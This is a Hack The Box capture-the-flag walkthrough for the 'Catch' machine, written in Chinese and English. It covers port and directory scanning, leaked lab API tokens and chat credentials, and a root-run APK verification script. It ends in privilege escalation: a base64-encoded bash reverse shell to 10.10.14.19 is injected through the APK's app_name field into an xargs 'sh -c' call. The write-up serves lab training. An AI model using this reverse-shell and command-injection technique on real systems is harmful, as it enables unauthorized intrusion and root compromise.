HTB打靶记录：Catch

nmap -p- --min-rate 10000 10.10.11.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-27 10:23 CST
Warning: 10.10.11.150 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.150
Host is up (0.19s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
5000/tcp open upnp
8000/tcp open http-alt
12548/tcp filtered unknown
39824/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 15.10 seconds

python3 dirsearch.py -u http://10.10.11.150[11:08:51] Starting:[11:09:06] 403 - 277B - /.htaccess.bak1[11:09:06] 403 - 277B - /.htaccess.orig[11:09:06] 403 - 277B - /.htaccess.sample[11:09:06] 403 - 277B - /.htaccess.save[11:09:06] 403 - 277B - /.htaccess_extra[11:09:06] 403 - 277B - /.htaccess_orig[11:09:06] 403 - 277B - /.htaccess_sc[11:09:06] 403 - 277B - /.htaccessBAK[11:09:06] 403 - 277B - /.htaccessOLD[11:09:07] 403 - 277B - /.htm[11:09:07] 403 - 277B - /.htaccessOLD2[11:09:07] 403 - 277B - /.html[11:09:07] 403 - 277B - /.htpasswd_test[11:09:07] 403 - 277B - /.htpasswds[11:09:07] 403 - 277B - /.ht_wsr.txt[11:09:07] 403 - 277B - /.httr-oauth[11:09:10] 403 - 277B - /.php[11:10:13] 200 - 6KB - /index.php[11:10:13] 200 - 6KB - /index.php/login/[11:10:14] 301 - 317B - /javascript -> http://10.10.11.150/javascript/[11:10:43] 403 - 277B - /server-status[11:10:44] 403 - 277B - /server-status/

"gitea_token" : "b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0" "lets_chat_token" : "NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" "slack_token" : "xoxp-23984754863-2348975623103"

curl -X GET "http://gitea.catch.htb:3000/api/v1/admin/users?page=1&limit=1?token=b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0" -H "accept: application/json"

{"message":"token is required","url":"http://gitea.catch.htb:3000/api/swagger"}

export token=NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==

curl -s http://10.10.11.150:5000/rooms -H "Authorization: Bearer $token"

[{
"id": "61b86b28d984e2451036eb17",
"slug": "status",
"name": "Status",
"description": "Cachet Updates and Maintenance",
"lastActive": "2021-12-14T10:34:20.749Z",
"created": "2021-12-14T10:00:08.384Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
}, {
"id": "61b8708efe190b466d476bfb",
"slug": "android_dev",
"name": "Android Development",
"description": "Android App Updates, Issues & More",
"lastActive": "2021-12-14T10:24:21.145Z",
"created": "2021-12-14T10:23:10.474Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
}, {
"id": "61b86b3fd984e2451036eb18",
"slug": "employees",
"name": "Employees",
"description": "New Joinees, Org updates",
"lastActive": "2021-12-14T10:18:04.710Z",
"created": "2021-12-14T10:00:31.043Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
}]

curl -s http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/messages -H "Authorization: Bearer $token"

[{
"id": "61b8732cfe190b466d476c02",
"text": "ah sure!",
"posted": "2021-12-14T10:34:20.749Z",
"owner": "61b86dbdfe190b466d476bf0",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b8731ffe190b466d476c01",
"text": "You should actually include this task to your list as well as a part of quarterly audit",
"posted": "2021-12-14T10:34:07.449Z",
"owner": "61b86aead984e2451036eb16",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b872b9fe190b466d476c00",
"text": "Also make sure we've our systems, applications and databases up-to-date.",
"posted": "2021-12-14T10:32:25.514Z",
"owner": "61b86dbdfe190b466d476bf0",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b87282fe190b466d476bff",
"text": "Excellent! ",
"posted": "2021-12-14T10:31:30.403Z",
"owner": "61b86aead984e2451036eb16",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b87277fe190b466d476bfe",
"text": "Why not. We've this in our todo list for next quarter",
"posted": "2021-12-14T10:31:19.094Z",
"owner": "61b86dbdfe190b466d476bf0",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b87241fe190b466d476bfd",
"text": "@john is it possible to add SSL to our status domain to make sure everything is secure ? ",
"posted": "2021-12-14T10:30:25.108Z",
"owner": "61b86aead984e2451036eb16",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b8702dfe190b466d476bfa",
"text": "Here are the credentials john : E}V!mywu_69T4C}W",
"posted": "2021-12-14T10:21:33.859Z",
"owner": "61b86f15fe190b466d476bf5",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b87010fe190b466d476bf9",
"text": "Sure one sec.",
"posted": "2021-12-14T10:21:04.635Z",
"owner": "61b86f15fe190b466d476bf5",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b86fb1fe190b466d476bf8",
"text": "Can you create an account for me ? ",
"posted": "2021-12-14T10:19:29.677Z",
"owner": "61b86dbdfe190b466d476bf0",
"room": "61b86b28d984e2451036eb17"
}, {
"id": "61b86f4dfe190b466d476bf6",
"text": "Hey Team! I'll be handling the status.catch.htb from now on. Lemme know if you need anything from me. ",
"posted": "2021-12-14T10:17:49.761Z",
"owner": "61b86f15fe190b466d476bf5",
"room": "61b86b28d984e2451036eb17"
}]

[email protected]:~$ whoamiwill[email protected]:~$ lspspy64s user.txt[email protected]:~$ cat user.txtb4a65a63d76a****[email protected]:~$

find / -name "*apk"

!/bin/bash###################Signature Check###################sig_check() {jarsigner -verify "$1/$2" 2>/dev/null >/dev/nullif [[ $? -eq 0 ]]; thenecho '[+] Signature Check Passed'elseecho '[!] Signature Check Failed. Invalid Certificate.'cleanupexitfi}#######################Compatibility Check#######################comp_check() {apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/nullCOMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=")[^"]+" "$PROCESS_BIN/AndroidManifest.xml")if [ -z "$COMPILE_SDK_VER" ]; thenecho '[!] Failed to find target SDK version.'cleanupexitelseif [ $COMPILE_SDK_VER -lt 18 ]; thenecho "[!] APK Doesn't meet the requirements"cleanupexitfifi}####################Basic App Checks####################app_check() {APP_NAME=$(grep -oPm1 "(?<=<string name="app_name">)[^<]+" "$1/res/values/strings.xml")echo $APP_NAMEif [[ $APP_NAME == "Catch" ]]; thenecho -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'mv "$3/$APK_NAME" "$2/$APP_NAME/$4"elseecho "[!] App doesn't belong to Catch Global"cleanupexitfi}###########Cleanup###########cleanup() {rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/" "$IN_FOLDER/";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)}###################MDM CheckerV1.0###################DROPBOX=/opt/mdm/apk_binIN_FOLDER=/root/mdm/apk_binOUT_FOLDER=/root/mdm/certified_appsPROCESS_BIN=/root/mdm/process_binfor IN_APK_NAME in $DROPBOX/*.apk;doOUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"APK_NAME="$(openssl rand -hex 12).apk"if [[ -L "$IN_APK_NAME" ]]; thenexitelsemv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"fisig_check $IN_FOLDER $APK_NAMEcomp_check $IN_FOLDER $APK_NAME $PROCESS_BINapp_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAMEdonecleanup

app_check() {APP_NAME=$(grep -oPm1 "(?<=<string name="app_name">)[^<]+" "$1/res/values/strings.xml")//app_check函数使用grep从strings.xml提取出"app_name"。echo $APP_NAMEif [[ $APP_NAME == "Catch" ]]; thenecho -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'mv "$3/$APK_NAME" "$2/$APP_NAME/$4"//判断如果app_name中存在"Catch"，它就会使用mkdir命令创建一个目录并将apk放进去。elseecho "[!] App doesn't belong to Catch Global"cleanupexitfi}

java -jar apktool_2.6.1.jar d catchv1.0.apk -o test

echo "/bin/bash -c '/bin/bash -i >&/dev/tcp/10.10.14.19/8848 0>&1'" | base64 L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC4xOS84ODQ4IDA+ JjEnCg==

Catch|echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC4xOS84ODQ4IDA+JjEnCg==|base64 -d|bash

java -jar apktool_2.6.1.jar b -f test/ -o test.apk

python3 -m http.server

wget http://10.10.14.19/test.apk

mv test.apk /opt/mdm/apk_bin/